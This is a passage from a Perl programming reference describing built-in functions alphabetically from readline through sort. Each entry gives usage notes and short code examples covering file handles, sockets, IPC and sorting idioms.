@textfiles = grep -T, readdir THISDIR;
But watch out on that last one because the result of readdir needs to have the directory part glued back on if it's not the current directory--like this:
opendir(THATDIR, $path) or die "can't opendir $path: $!";
@dotfiles = grep { /^\./ && -f } map { "$path/$_" } readdir(THATDIR);
closedir THATDIR;

29.2.122. readline [taintgray]

readline FILEHANDLE
This is the internal function implementing the <FILEHANDLE> operator, but you can use it directly. The function reads the next record from FILEHANDLE, which may be a filehandle name or an indirect filehandle expression that returns either the name of the actual filehandle or a reference to anything resembling a filehandle object, such as a typeglob. (Versions of Perl prior to 5.6 accept only a typeglob.) In scalar context, each call reads and returns the next record until end-of-file is reached, whereupon the subsequent call returns undef. In list context, readline reads records until end-of-file is reached and then returns a list of records. By "record", we normally mean a line of text, but changing the value of $/ ($INPUT_RECORD_SEPARATOR) from its default value causes this operator to "chunk" the text differently. Likewise, some input disciplines such as :para (paragraph mode) will return records in chunks other than lines. Setting the :slurp discipline (or undefining $/) makes the chunk size entire files.

When slurping files in scalar context, if you happen to slurp an empty file, readline returns "" the first time, and undef each subsequent time. When slurping from magical ARGV filehandle, each file returns one chunk (again, null files return as ""), followed by a single undef when the files are exhausted.

The <FILEHANDLE> operator is discussed in more detail in the section "Input Operators" in Chapter 2, "Bits and Pieces".

$line = <STDIN>;
$line = readline(STDIN);          # same thing
$line = readline(*STDIN);         # same thing
$line = readline(\*STDIN);        # same thing

open my $fh, "<&=STDIN" or die;
bless $fh => 'AnyOldClass';
$line = readline($fh);            # same thing

29.2.123. readlink

readlink EXPR
readlink
This function returns the filename pointed to by a symbolic link. EXPR should evaluate to a filename, the last component of which is a symbolic link. If it is not a symbolic link, or if symbolic links are not implemented on the filesystem, or if some system error occurs, undef is returned, and you should check the error code in $!.

Be aware that the returned symlink may be relative to the location you specified. For instance, you may say:

readlink "/usr/local/src/express/yourself.h"
and readlink might return:
../express.1.23/includes/yourself.h
which is not directly usable as a filename unless your current directory happens to be /usr/local/src/express.

29.2.124. readpipe

readpipe scalar EXPR
readpipe LIST (proposed)
This is the internal function implementing the qx// quote construct (also known as the backticks operator). It is occasionally handy when you need to specify your EXPR in a way that wouldn't be handy using the quoted form. Be aware that we may change this interface in the future to support a LIST argument in order to make it more like the exec function, so don't assume that it will continue to provide scalar context for EXPR. Supply the scalar yourself, or try the LIST form. Who knows, it might work by the time you read this.

29.2.125. recv [taintgray]

recv SOCKET, SCALAR, LEN, FLAGS
This function receives a message on a socket. It attempts to receive LENGTH bytes of data into variable SCALAR from the specified SOCKET filehandle. The function returns the address of the sender, or undef if there's an error. SCALAR will grow or shrink to the length actually read. The function takes the same flags as recv(2). See the section "Sockets" in Chapter 16, "Interprocess Communication".

29.2.126. redo

redo LABEL
redo
The redo operator restarts a loop block without reevaluating the conditional. The continue block, if any, is not executed. If the LABEL is omitted, the operator refers to the innermost enclosing loop. This operator is normally used by programs that wish to deceive themselves about what was just input:
# A loop that joins lines continued with a backslash.
while (<STDIN>) {
    if (s/\\\n$// && defined($nextline = <STDIN>)) {
        $_ .= $nextline;
        redo;
    }
    print;  # or whatever...
}
redo cannot be used to exit a block that returns a value such as eval {}, sub {}, or do {}, and should not be used to exit a grep or map operation. With warnings enabled, Perl will warn you if you redo a loop not in your current lexical scope.

A block by itself is semantically identical to a loop that executes once. Thus redo inside such a block will effectively turn it into a looping construct. See the section "Loop Control" in Chapter 4, "Statements and Declarations".

29.2.127. ref

ref EXPR
ref
The ref operator returns a true value if EXPR is a reference, false otherwise. The value returned depends on the type of thing the reference refers to. Built-in types include:
SCALAR
ARRAY
HASH
CODE
GLOB
REF
LVALUE
IO::Handle
If the referenced object has been blessed into a package, then that package name is returned instead. You can think of ref as a "typeof" operator.
if (ref($r) eq "HASH") {
    print "r is a reference to a hash.\n";
}
elsif (ref($r) eq "Hump") {    # Naughty--see below.
    print "r is a reference to a Hump object.\n";
}
elsif (not ref $r) {
    print "r is not a reference at all.\n";
}
It's considered bad OO style to test your object's class for equality to any particular class name, since a derived class will have a different name, but should be allowed access to the base class's methods. It's better to use the UNIVERSAL method isa as follows:
if ($r->isa("Hump") }
    print "r is a reference to a Hump object, or subclass.\n";
}
It's usually best not to test at all, since the OO mechanism won't send the object to your method unless it thinks it's appropriate in the first place. See Chapter 8, "References" and Chapter 12, "Objects" for more details. See also the reftype function under the use attributes pragma in Chapter 31, "Pragmatic Modules".

29.2.128. rename

rename OLDNAME, NEWNAME
This function changes the name of a file. It returns true for success, false otherwise. It will not (usually) work across filesystem boundaries, although on a Unix system the mv command can sometimes be used to compensate for this. If a file named NEWNAME already exists, it will be destroyed. Non-Unix systems might have additional restrictions.

See the standard File::Copy module for cross-filesystem renames.

29.2.129. require

require VERSION
require EXPR
require
This function asserts a dependency of some kind on its argument.

If the argument is a string, require loads and executes the Perl code found in the separate file whose name is given by the string. This is similar to performing a do on a file, except that require checks to see whether the library file has been loaded already and raises an exception if any difficulties are encountered. (It can thus be used to express file dependencies without worrying about duplicate compilation.) Like its cousins do and use, require knows how to search the include path stored in the @INC array and to update %INC upon success. See Chapter 28, "Special Names".

The file must return true as the last value to indicate successful execution of any initialization code, so it's customary to end such a file with 1; unless you're sure it'll return true otherwise.

If require's argument is a version number of the form 5.6.2, require demands that the currently executing version of Perl be at least that version. (Perl also accepts a floating point number such as 5.005_03 for compatibility with older versions of Perl, but that form is now discouraged because folks from other cultures don't understand it.) Thus, a script that requires Perl version 5.6 can put as its first line:

require 5.6.0;             # or require v5.6.0
and earlier versions of Perl will abort. Like all requires, however, this is done at run-time. You might prefer to say use 5.6.0 for a compile-time check. See also $PERL_VERSION in Chapter 28, "Special Names".

If require's argument is a bare package name (see package), require assumes an automatic .pm suffix, making it easy to load standard modules. This behavior is like use, except that it happens at run time rather than compile time, and the import method is not called. For example, to pull in Socket.pm without introducing any symbols into the current package, say this:

require Socket;            # instead of "use Socket;"
However, you can get the same effect with the following, which has the advantage of giving a compile-time warning if Socket.pm can't be located:
use Socket ();
Using require on a bare name also replaces any :: in the package name with your system's directory separator, traditionally /. In other words, if you try this:
require Foo::Bar;          # a splendid bare name
The require function looks for the Foo/Bar.pm file in the directories specified in the @INC array. But if you try this:
$class = 'Foo::Bar';
require $class;            # $class is not a bare name
or this:
require "Foo::Bar";        # quoted literal not a bare name
the require function will look for the Foo::Bar file in the @INC array and will complain about not finding Foo::Bar there. If so, you can do this:
eval "require $class";
See also do FILE, the use command, the use lib pragma, and the standard FindBin module.

29.2.130. reset

reset EXPR
reset
This function is generally used (or abused) at the top of a loop or in a continue block at the end of a loop, to clear global variables or reset ?? searches so that they work again. The expression is interpreted as a list of single characters (hyphens are allowed for ranges). All scalar variables, arrays, and hashes beginning with one of those letters are reset to their pristine state. If the expression is omitted, one-match searches (?PATTERN?) are reset to match again. The function resets variables or searches for the current package only. It always returns true.

To reset all "X" variables, say this:

reset 'X';
To reset all lowercase variables, say this:
reset 'a-z';
Lastly, to just reset ?? searches, say:
reset;
Resetting "A-Z" in package main is not recommended since you'll wipe out your global ARGV, INC, ENV, and SIG arrays and hashes.

Lexical variables (created by my) are not affected. Use of reset is vaguely deprecated because it easily clears out entire namespaces and because the ?? operator is itself vaguely deprecated.

See also the delete_package() function from the standard Symbol module, and the whole issue of Safe compartments documented in the section "Safe Compartments" in Chapter 23, "Security".

29.2.131. return

return EXPR
return
This operator causes the current subroutine (or eval or do FILE) to return immediately with the specified value. Attempting to use return outside these three places raises an exception. Note also that an eval cannot do a return on behalf of the subroutine that called the eval.

EXPR may be evaluated in list, scalar, or void context, depending on how the return value will be used, which may vary from one execution to the next. That is, the supplied expression will be evaluated in the context of the subroutine invocation. If the subroutine was called in a scalar context, EXPR is also evaluated in scalar context. If the subroutine was invoked in list context, then EXPR is also evaluated in list context and can return a list value. A return with no argument returns the scalar value undef in scalar context, an empty list () in list context, and (naturally) nothing at all in void context. The context of the subroutine call can be determined from within the subroutine by using the (misnamed) wantarray function.

29.2.132. reverse

reverse LIST
In list context, this function returns a list value consisting of the elements of LIST in the opposite order. The function can be used to create descending sequences:
for (reverse 1 .. 10) { ... }
Because of the way hashes flatten into lists when passed as a LIST, reverse can also be used to invert a hash, presuming the values are unique:
%barfoo = reverse %foobar;
In scalar context, the function concatenates all the elements of LIST and then returns the reverse of that resulting string, character by character.

A small hint: reversing a list sorted earlier by a user-defined function can often be achieved more easily by sorting the list in the opposite direction in the first place.

29.2.133. rewinddir

rewinddir DIRHANDLE
This function sets the current position to the beginning of the directory for the readdir routine on DIRHANDLE. The function may not be available on all machines that support readdir--rewinddir dies if unimplemented. It returns true on success, false otherwise.

29.2.134. rindex

rindex STR, SUBSTR, POSITION
rindex STR, SUBSTR
This function works just like index except that it returns the position of the last occurrence of SUBSTR in STR (a reverse index). The function returns $[-1 if not SUBSTR is found. Since $[ is virtually always 0 nowadays, the function virtually always returns -1. POSITION, if specified, is the rightmost position that may be returned. To work your way through a string backward, say:
$pos = length $string;
while (($pos = rindex $string, $lookfor, $pos) >= 0) {
    print "Found at $pos\n";
    $pos--;
}

29.2.135. rmdir

rmdir FILENAME
rmdir
This function deletes the directory specified by FILENAME if the directory is empty. If the function succeeds, it returns true; otherwise, it returns false. See also the File::Path module if you want to remove the contents of the directory first and don't care to shell out to call rm -r for some reason. (Such as not having a shell, or an rm command, because you haven't got PPT yet.)

29.2.136. s/// [taintgray]

s///
The substitution operator. See the section "Pattern-Matching Operators" in Chapter 5, "Pattern Matching".

29.2.137. scalar

scalar EXPR
This pseudofunction may be used within a LIST to force EXPR to be evaluated in scalar context when evaluation in the list context would produce a different result. For example:
my ($nextvar) = scalar <STDIN>;
prevents <STDIN> from reading all the lines from standard input before doing the assignment, since assignment to a list (even a my list) provides a list context. (Without the scalar in this example, the first line from <STDIN> would still be assigned to $nextvar, but the subsequent lines would be read and thrown away, since the list we're assigning to is only able to receive a single scalar value.)

Of course, a simpler, less-cluttered way would be to just leave the parentheses off, thereby changing the list context to a scalar one:

my $nextvar = <STDIN>;
Since a print function is a LIST operator, you have to say:
print "Length is ", scalar(@ARRAY), "\n";
if you want the length of @ARRAY to be printed out.

There's no "list" function corresponding to scalar since, in practice, one never needs to force evaluation in a list context. That's because any operation that wants LIST already provides a list context to its list arguments for free.

Because scalar is a unary operator, if you accidentally use a parenthesized list for the EXPR, this behaves as a scalar comma expression, evaluating all but the last element in void context and returning the final element evaluated in scalar context. This is seldom what you want. The following single statement:

print uc(scalar(&foo,$bar)),$baz;
is the (im)moral equivalent of these two:
&foo;
print(uc($bar),$baz);
See Chapter 2, "Bits and Pieces" for more details on the comma operator. See "Prototypes" in Chapter 6, "Subroutines" for more on unary operators.

29.2.138. seek

seek FILEHANDLE, OFFSET, WHENCE
This function positions the file pointer for FILEHANDLE, just like the fseek(3) call of standard I/O. The first position in a file is at offset 0, not offset 1. Also, offsets refer to byte positions, not line numbers. In general, since line lengths vary, it's not possible to access a particular line number without examining the whole file up to that point, unless all your lines are known to be of a particular length, or you've built an index that translates line numbers into byte offsets. (The same restrictions apply to character positions in files with variable-length character encodings: the operating system doesn't know what characters are, only bytes.)

FILEHANDLE can be an expression whose value gives either the name of the actual filehandle or a reference to anything resembling a filehandle object. The function returns true upon success, false otherwise. For handiness, the function can calculate offsets from various file positions for you. The value of WHENCE specifies which file position your OFFSET uses for its starting point: 0, the beginning of the file; 1, the current position in the file; or 2, the end of the file. The OFFSET can be negative for a WHENCE of 1 or 2. If you'd like to use symbolic values for WHENCE, you may use SEEK_SET, SEEK_CUR, and SEEK_END from either the IO::Seekable or the POSIX module, or as of the 5.6 release of Perl, the Fcntl module.

If you want to position the file for sysread or syswrite, don't use seek; standard I/O buffering makes its effect on the file's system position unpredictable and nonportable. Use sysseek instead.

Due to the rules and rigors of ANSI C, on some systems you have to do a seek whenever you switch between reading and writing. Amongst other things, this may have the effect of calling the standard I/O library's clearerr(3) function. A WHENCE of 1 (SEEK_CUR) with an OFFSET 0 is useful for not moving the file position:

seek(TEST,0,1);
One interesting use for this function is to allow you to follow growing files, like this:
for (;;) {
    while (<LOG>) {
        grok($_);          # Process current line.
    }
    sleep 15;
    seek LOG,0,1;          # Reset end-of-file error.
}
The final seek clears the end-of-file error without moving the pointer. Depending on how standard your C library's standard I/O implementation happens to be, you may need something more like this:
for (;;) {
    for ($curpos = tell FILE; <FILE>; $curpos = tell FILE) {
        grok($_);          # Process current line.
    }
    sleep $for_a_while;
    seek FILE, $curpos, 0; # Reset end-of-file error.
}
Similar strategies can be used to remember the seek addresses of each line in an array.

29.2.139. seekdir

seekdir DIRHANDLE, POS
This function sets the current position for the next call to readdir on DIRHANDLE. POS must be a value returned by telldir. This function has the same caveats about possible directory compaction as the corresponding system library routine. The function may not be implemented everywhere that readdir is. It's certainly not implemented where readdir isn't.

29.2.140. select (output filehandle)

select FILEHANDLE
select
For historical reasons, there are two select operators that are totally unrelated to each other. See the next section for the other one. This version of the select operator returns the currently selected output filehandle and, if FILEHANDLE is supplied, sets the current default filehandle for output. This has two effects: first, a write or a print without a filehandle will default to this FILEHANDLE. Second, special variables related to output will refer to this output filehandle. For example, if you have to set the same top-of-form format for more than one output filehandle, you might do the following:
select REPORT1;
$^ = 'MyTop';
select REPORT2;
$^ = 'MyTop';
But note that this leaves REPORT2 as the currently selected filehandle. This could be construed as antisocial, since it could really foul up some other routine's print or write statements. Properly written library routines leave the currently selected filehandle the same on exit as it was upon entry. To support this, FILEHANDLE may be an expression whose value gives the name of the actual filehandle. Thus, you can save and restore the currently selected filehandle like this:
my $oldfh = select STDERR; $| = 1; select $oldfh;
or idiomatically but somewhat obscurely like this:
select((select(STDERR), $| = 1)[0])
This example works by building a list consisting of the returned value from select(STDERR) (which selects STDERR as a side effect) and $| = 1 (which is always 1), but sets autoflushing on the now-selected STDERR as a side effect. The first element of that list (the previously selected filehandle) is now used as an argument to the outer select. Bizarre, right? That's what you get for knowing just enough Lisp to be dangerous.

You can also use the standard SelectSaver module to automatically restore the previous select upon scope exit.

However, now that we've explained all that, we should point out that you rarely need to use this form of select nowadays, because most of the special variables you would want to set have object-oriented wrapper methods to do it for you. So instead of setting $| directly, you might say:

use IO::Handle;             # Unfortunately, this is *not* a small module.
STDOUT->autoflush(1);
And the earlier format example might be coded as:
use IO::Handle;
REPORT1->format_top_name("MyTop");
REPORT2->format_top_name("MyTop");

29.2.141. select (ready file descriptors)

select RBITS, WBITS, EBITS, TIMEOUT
The four-argument select operator is totally unrelated to the previously described select operator. This operator is used to discover which (if any) of your file descriptors are ready to do input or output, or to report an exceptional condition. (This helps you avoid having to do polling.) It calls the select(2) syscall with the bit masks you've specified, which you can construct using fileno and vec, like this:
$rin = $win = $ein = "";
vec($rin, fileno(STDIN), 1)  = 1;
vec($win, fileno(STDOUT), 1) = 1;
$ein = $rin | $win;
If you want to select on many filehandles, you might wish to write a subroutine:
sub fhbits {
    my @fhlist = @_;
    my $bits;
    for (@fhlist) {
        vec($bits, fileno($_), 1) = 1;
    }
    return $bits;
}
$rin = fhbits(qw(STDIN TTY MYSOCK));
If you wish to use the same bit masks repeatedly (and it's more efficient if you do), the usual idiom is:
($nfound, $timeleft) =
    select($rout=$rin, $wout=$win, $eout=$ein, $timeout);
Or to block until any file descriptor becomes ready:
$nfound = select($rout=$rin, $wout=$win, $eout=$ein, undef);
As you can see, calling select in scalar context just returns $nfound, the number of ready descriptors found.

The $wout=$win trick works because the value of an assignment is its left side, so $wout gets clobbered first by the assignment and then by the select, while $win remains unchanged.

Any of the arguments can also be undef, in which case they're ignored. The TIMEOUT, if not undef, is in seconds, which may be fractional. (A timeout of 0 effects a poll.) Not many implementations are capable of returning $timeleft. If not, they always return $timeleft equal to the supplied $timeout.

The standard IO::Select module provides a more user-friendly interface to select, mostly because it does all the bit mask work for you.

One use for select is to sleep with a finer resolution than sleep allows. To do this, specify undef for all the bitmasks. So, to sleep for (at least) 4.75 seconds, use:

select undef, undef, undef, 4.75;
(On some non-Unix systems the triple undef may not work, and you may need to fake up at least one bitmask for a valid descriptor that won't ever be ready.)

One should probably not attempt to mix buffered I/O (like read or <HANDLE>) with select, except as permitted by POSIX, and even then only on truly POSIX systems. Use sysread instead.

29.2.142. semctl

semctl ID, SEMNUM, CMD, ARG
This function calls the System V IPC function semctl(2). You'll probably have to say useIPC::SysV first to get the correct constant definitions. If CMD is IPC_STAT or GETALL, then ARG must be a variable that will hold the returned semid_ds structure or semaphore value array. As with ioctl and fcntl, return values are undef for error, "0 but true" for zero, and the actual return value otherwise.

See also the IPC::Semaphore module. This function is available only on machines supporting System V IPC.

29.2.143. semget

semget KEY, NSEMS, SIZE, FLAGS
This function calls the System V IPC syscall semget(2). Before calling, you should useIPC::SysV to get the correct constant definitions. The function returns the semaphore ID, or undef if there is an error.

See also the IPC::Semaphore module. This function is available only on machines supporting System V IPC.

29.2.144. semop

semop KEY, OPSTRING
This function calls the System V IPC syscall semop(2) to perform semaphore operations such as signalling and waiting. Before calling, you should useIPC::SysV to get the correct constant definitions.

OPSTRING must be a packed array of semop structures. You can make each semop structure by saying pack("s*", $semnum, $semop, $semflag). The number of semaphore operations is implied by the length of OPSTRING. The function returns true if successful, or false if there is an error.

The following code waits on semaphore $semnum of semaphore id $semid:

$semop = pack "s*", $semnum, -1, 0;
semop $semid, $semop or die "Semaphore trouble: $!\n";
To signal the semaphore, simply replace -1 with 1.

See the section "System V IPC" in Chapter 16, "Interprocess Communication". See also the IPC::Semaphore module. This function is available only on machines supporting System V IPC.

29.2.145. send

send SOCKET, MSG, FLAGS, TO
send SOCKET, MSG, FLAGS
This function sends a message on a socket. It takes the same flags as the syscall of the same name--see send(2). On unconnected sockets, you must specify a destination to send TO, which then makes Perl's send work like sendto(2). The C syscall sendmsg(2) is currently unimplemented in standard Perl. The send function returns the number of bytes sent, or undef if there is an error.

(Some non-Unix systems improperly treat sockets as different from ordinary file descriptors, with the result that you must always use send and recv on sockets rather than the handier standard I/O operators.)

One error that at least one of us makes frequently is to confuse Perl's send with C's send and write:

send SOCK, $buffer, length $buffer      # WRONG
This will mysteriously fail depending on the relationship of the string length to the FLAGS bits expected by the system. See the section "Message Passing" in Chapter 16, "Interprocess Communication" for examples.

29.2.146. setpgrp

setpgrp PID, PGRP
This function sets the current process group (PGRP) for the specified PID (use a PID of 0 for the current process). Invoking setpgrp will raise an exception if used on a machine that doesn't implement setpgrp(2). Beware: some systems will ignore the arguments you provide and always do setpgrp(0, $$). Fortunately, those are the arguments one usually wants to provide. If the arguments are omitted, they default to 0,0. The BSD 4.2 version of setpgrp did not accept any arguments, but in BSD 4.4, it is a synonym for the setpgid function. For better portability (by some definition), use the setpgid function in the POSIX module directly. If what you're really trying to do is daemonize your script, consider the POSIX::setsid() function as well. Note that the POSIX version of setpgrp does not accept arguments, so only setpgrp(0,0) is truly portable.

29.2.147. setpriority

setpriority WHICH, WHO, PRIORITY
This function sets the current PRIORITY for a process, a process group, or a user, as specified by the WHICH and WHO. See setpriority(2). Invoking setpriority will raise an exception if used on a machine that doesn't implement setpriority(2). To "nice" your process down by four units (the same as executing your program with nice(1)), try:
setpriority 0, 0, getpriority(0, 0) + 4;
The interpretation of a given priority may vary from one operating system to the next. Some priorities may be unavailable to nonprivileged users.

See also the BSD::Resource module from CPAN.

29.2.148. setsockopt

setsockopt SOCKET, LEVEL, OPTNAME, OPTVAL
This function sets the socket option requested. The function returns undef on error. LEVEL specifies which protocol layer you're aiming the call at, or SOL_SOCKET for the socket itself at the top of all the layers. OPTVAL may be specified as undef if you don't want to pass an argument. A common option to set on a socket is SO_REUSEADDR, to get around the problem of not being able to bind to a particular address while the previous TCP connection on that port is still making up its mind to shut down. That would look like this:
use Socket;
socket(SOCK, ...) or die "Can't make socket: $!\n";
setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1)
        or warn "Can't do setsockopt: $!\n";

See setsockopt(2) for other possible values.

29.2.149. shift

shift ARRAY
shift
This function shifts the first value of the array off and returns it, shortening the array by one and moving everything down. (Or up, or left, depending on how you visualize the array list. We like left.) If there are no elements in the array, the function returns undef.

If ARRAY is omitted, the function shifts @_ within the lexical scope of subroutines and formats; it shifts @ARGV at file scopes (typically the main program) or within the lexical scopes established by the eval STRING, BEGIN {}, CHECK {}, INIT {}, and END {} constructs.

Subroutines often start by copying their arguments into lexical variables, and shift can be used for this:

sub marine {
        my $fathoms = shift;  # depth
        my $fishies = shift;  # number of fish
        my $o2      = shift;  # oxygen concentration
        # ...
}
shift is also used to process arguments at the front of your program:
while (defined($_ = shift)) {
        /^[^-]/     && do { unshift @ARGV, $_; last };
        /^-w/       && do { $WARN = 1;         next };
        /^-r/       && do { $RECURSE = 1;      next };
        die "Unknown argument $_\n";
}
You might also consider the Getopt::Std and Getopt::Long modules for processing program arguments.

See also unshift, push, pop, and splice. The shift and unshift functions do the same thing to the left end of an array that pop and push do to the right end.

29.2.150. shmctl

shmctl ID, CMD, ARG
This function calls the System V IPC syscall, shmctl(2). Before calling, you should useIPC::SysV to get the correct constant definitions.

If CMD is IPC_STAT, then ARG must be a variable that will hold the returned shmid_ds structure. Like ioctl and fcntl, the function returns undef for error, "0 but true" for zero, and the actual return value otherwise.

This function is available only on machines supporting System V IPC.

29.2.151. shmget

shmget KEY, SIZE, FLAGS
This function calls the System V IPC syscall, shmget(2). The function returns the shared memory segment ID, or undef if there is an error. Before calling, useSysV::IPC.

This function is available only on machines supporting System V IPC.

29.2.152. shmread

shmread ID, VAR, POS, SIZE
This function reads from the shared memory segment ID starting at position POS for size SIZE (by attaching to it, copying out, and detaching from it). VAR must be a variable that will hold the data read. The function returns true if successful, or false if there is an error.

This function is available only on machines supporting System V IPC.

29.2.153. shmwrite

shmwrite ID, STRING, POS, SIZE
This function writes to the shared memory segment ID starting at position POS for size SIZE (by attaching to it, copying in, and detaching from it). If STRING is too long, only SIZE bytes are used; if STRING is too short, nulls are written to fill out SIZE bytes. The function returns true if successful, or false if there is an error.

This function is available only on machines supporting System V IPC. (You're probably tired of reading that--we're getting tired of saying it.)

29.2.154. shutdown

shutdown SOCKET, HOW
This function shuts down a socket connection in the manner indicated by HOW. If HOW is 0, further receives are disallowed. If HOW is 1, further sends are disallowed. If HOW is 2, everything is disallowed.
shutdown(SOCK, 0);    # no more reading
shutdown(SOCK, 1);    # no more writing
shutdown(SOCK, 2);    # no more I/O at all
This is useful with sockets when you want to tell the other side you're done writing but not done reading, or vice versa. It's also a more insistent form of close because it also disables any copies of those file descriptors held in forked processes.

Imagine a server that wants to read its client's request until end of file, then send an answer. If the client calls close, that socket is now invalid for I/O, so no answer would ever come back. Instead, the client should use shutdown to half-close the connection:

print SERVER "my request\n";        # send some data
shutdown(SERVER, 1);                # send eof; no more writing
$answer = <SERVER>;                 # but you can still read
(If you came here trying to figure out how to shut down your system, you'll have to execute an external program to do that. See system.)

29.2.155. sin

sin EXPR
sin
Sorry, there's nothing wicked about this operator. It merely returns the sine of EXPR (expressed in radians).

For the inverse sine operation, you may use Math::Trig or the POSIX module's asin function, or use this relation:

sub asin { atan2($_[0], sqrt(1 - $_[0] * $_[0])) }

29.2.156. sleep

sleep EXPR
sleep
This function causes the script to sleep for EXPR seconds, or forever if no EXPR, and returns the number of seconds slept. It may be interrupted by sending the process a SIGALRM. On some older systems, it may sleep up to a full second less than what you requested, depending on how it counts seconds. Most modern systems always sleep the full amount. They may appear to sleep longer than that, however, because your process might not be scheduled right away in a busy multitasking system. If available, the select (ready file descriptors) call can give you better resolution. You may also be able to use syscall to call the getitimer(2) and setitimer(2) routines that some Unix systems support. You probably cannot mix alarm and sleep calls, because sleep is often implemented using alarm.

See also the POSIX module's sigpause function.

29.2.157. socket

socket SOCKET, DOMAIN, TYPE, PROTOCOL
This function opens a socket of the specified kind and attaches it to filehandle SOCKET. DOMAIN, TYPE, and PROTOCOL are specified the same as for socket(2). If undefined, SOCKET will be autovivified. Before using this function, your program should contain the line:
use Socket;
This gives you the proper constants. The function returns true if successful. See the examples in the section "Sockets" in Chapter 16, "Interprocess Communication".

On systems that support a close-on-exec flag on files, the flag will be set for the newly opened file descriptor, as determined by the value of $^F. See the $^F ($SYSTEM_FD_MAX) variable in Chapter 28, "Special Names".

29.2.158. socketpair

socketpair SOCKET1, SOCKET2, DOMAIN, TYPE, PROTOCOL
This function creates an unnamed pair of sockets in the specified domain, of the specified type. DOMAIN, TYPE, and PROTOCOL are specified the same as for socketpair(2). If either socket argument is undefined, it will be autovivified. The function returns true if successful, false otherwise. On a system where socketpair(2) is unimplemented, calling this function raises an exception.

This function is typically used just before a fork. One of the resulting processes should close SOCKET1, and the other should close SOCKET2. You can use these sockets bidirectionally, unlike the filehandles created by the pipe function. Some systems define pipe in terms of socketpair, in which a call to pipe(Rdr, Wtr) is essentially:

use Socket;
socketpair(Rdr, Wtr, AF_UNIX, SOCK_STREAM, PF_UNSPEC);
shutdown(Rdr, 1);        # no more writing for reader
shutdown(Wtr, 0);        # no more reading for writer
On systems that support a close-on-exec flag on files, the flag will be set for the newly opened file descriptors, as determined by the value of $^F. See the $^F ($SYSTEM_FD_MAX) variable in Chapter 28, "Special Names". See also the example at the end of the section "Bidirectional Communication" in Chapter 16, "Interprocess Communication".

29.2.159. sort

sort USERSUB LIST
sort BLOCK LIST
sort LIST
This function sorts the LIST and returns the sorted list value. By default, it sorts in standard string comparison order (undefined values sort before defined null strings, which sort before everything else). When the use locale pragma is in effect, sort LIST sorts LIST according to the current collation locale.

USERSUB, if given, is the name of a subroutine that returns an integer less than, equal to, or greater than 0, depending on how the elements of the list are to be ordered. (The handy <=> and cmp operators can be used to perform three-way numeric and string comparisons.) If a USERSUB is given but that function is undefined, sort raises an exception.

In the interests of efficiency, the normal calling code for subroutines is bypassed, with the following effects: the subroutine may not be a recursive subroutine (nor may you exit the block or routine with a loop control operator), and the two elements to be compared are not passed into the subroutine via @_, but rather by temporarily setting the global variables $a and $b in the package in which the sort was compiled (see the examples that follow). The variables $a and $b are aliases to the real values, so don't modify them in the subroutine.

The comparison subroutine is required to behave. If it returns inconsistent results (sometimes saying $x[1] is less than $x[2] and sometimes saying the opposite, for example), the results are not well defined. (That's another reason you shouldn't modify $a and $b.)

USERSUB may be a scalar variable name (unsubscripted), in which case the value provides either a symbolic or a hard reference to the actual subroutine to use. (A symbolic name rather than a hard reference is allowed even when the use strict 'refs' pragma is in effect.) In place of a USERSUB, you can provide a BLOCK as an anonymous, inline sort subroutine.

To do an ordinary numeric sort, say this:

sub numerically { $a <=> $b }
@sortedbynumber = sort numerically 53,29,11,32,7;
To sort in descending order, you could simply apply reverse after the sort, or you could reverse the order of $a and $b in the sort routine:
@descending = reverse sort numerically 53,29,11,32,7;

sub reverse_numerically { $b <=> $a }
@descending = sort reverse_numerically 53,29,11,32,7;
To sort strings without regard to case, run $a and $b through lc before comparing:
@unsorted = qw/sparrow Ostrich LARK catbird blueJAY/;
@sorted = sort { lc($a) cmp lc($b) } @unsorted;
(Under Unicode, the use of lc for case canonicalization is vaguely preferred to the use of uc, since some languages differentiate titlecase from uppercase. But that doesn't matter for basic ASCII sorting, and if you're going to do Unicode sorting right, your canonicalization routines are going to be a lot fancier than lc.)

Sorting hashes by value is a common use of the sort function. For example, if a %sales_amount hash records department sales, doing a hash lookup in the sort routine allows the hash keys to be sorted according to their corresponding values:

# sort from highest to lowest department sales
sub bysales { $sales_amount{$b} <=> $sales_amount{$a} }

for $dept (sort bysales keys %sale_amount) {
    print "$dept => $sales_amount{$dept}\n";
}
You can perform additional levels of sorting by cascading multiple comparisons using the || or or operators. This works nicely because the comparison operators conveniently return 0 for equivalence, causing them to fall through to the next comparison. Here, the hash keys are sorted first by their associated sales amounts and then by the keys themselves (in case two or more departments have the same sales amount):
sub by_sales_then_dept {
    $sales_amount{$b} <=> $sales_amount{$a}
       ||
    $a cmp $b
}

for $dept (sort by_sales_then_dept keys %sale_amount) {
    print "$dept => $sales_amount{$dept}\n";
}
Assume that @recs is an array of hash references, where each hash contains fields such as FIRSTNAME, LASTNAME, AGE, HEIGHT, and SALARY. The following routine sorts to the front of the list those records for people who are first richer, then taller, then younger, then less alphabetically challenged:
sub prospects {
    $b->{SALARY}    <=>  $a->{SALARY}
        ||
    $b->{HEIGHT}    <=>  $a->{HEIGHT}
        ||
    $a->{AGE}       <=>  $b->{AGE}
        ||
    $a->{LASTNAME}  cmp  $b->{LASTNAME}
        ||
    $a->{FIRSTNAME} cmp  $b->{FIRSTNAME}
}

@sorted = sort prospects @recs;
Any useful information that can be derived from $a and $b can serve as the basis of a comparison in a sort routine. For example, if lines of text are to be sorted according to specific fields, split could be used within the sort routine to derive the fields.
@sorted_lines = sort {
    @a_fields = split /:/, $a;     # colon-separated fields
    @b_fields = split /:/, $b;

    $a_fields[3] <=> $b_fields[3]  # numeric sort on 4th field, then
        ||
    $a_fields[0] cmp $b_fields[0]  # string sort on 1st field, then
        ||
    $b_fields[2] <=> $a_fields[2]  # reverse numeric sort on 3rd field
        ||
    ...                            # etc.

} @lines;
However, because sort performs the sort routine many times using different pairings of values for $a and $b, the previous example will resplit each line more often than needed.

To avoid the expense of repeated derivations such as the splitting of lines in order to compare their fields, perform the derivation once per value prior to the sort and save the derived information. Here, anonymous arrays are created to encapsulate each line along with the results of splitting the line:

@temp = map { [$_, split /:/] } @lines;
Next, the array references are sorted:
@temp = sort {
    @a_fields = @$a[1..$#$a];
    @b_fields = @$b[1..$#$b];

    $a_fields[3] <=> $b_fields[3]  # numeric sort on 4th field, then
        ||
    $a_fields[0] cmp $b_fields[0]  # string sort on 1st field, then
        ||
    $b_fields[2] <=> $a_fields[2]  # reverse numeric sort on 3rd field
        ||
    ...                            # etc.

} @temp;
Now that the array references are sorted, the original lines can be retrieved from the anonymous arrays:
@sorted_lines = map { $_->[0] } @temp;
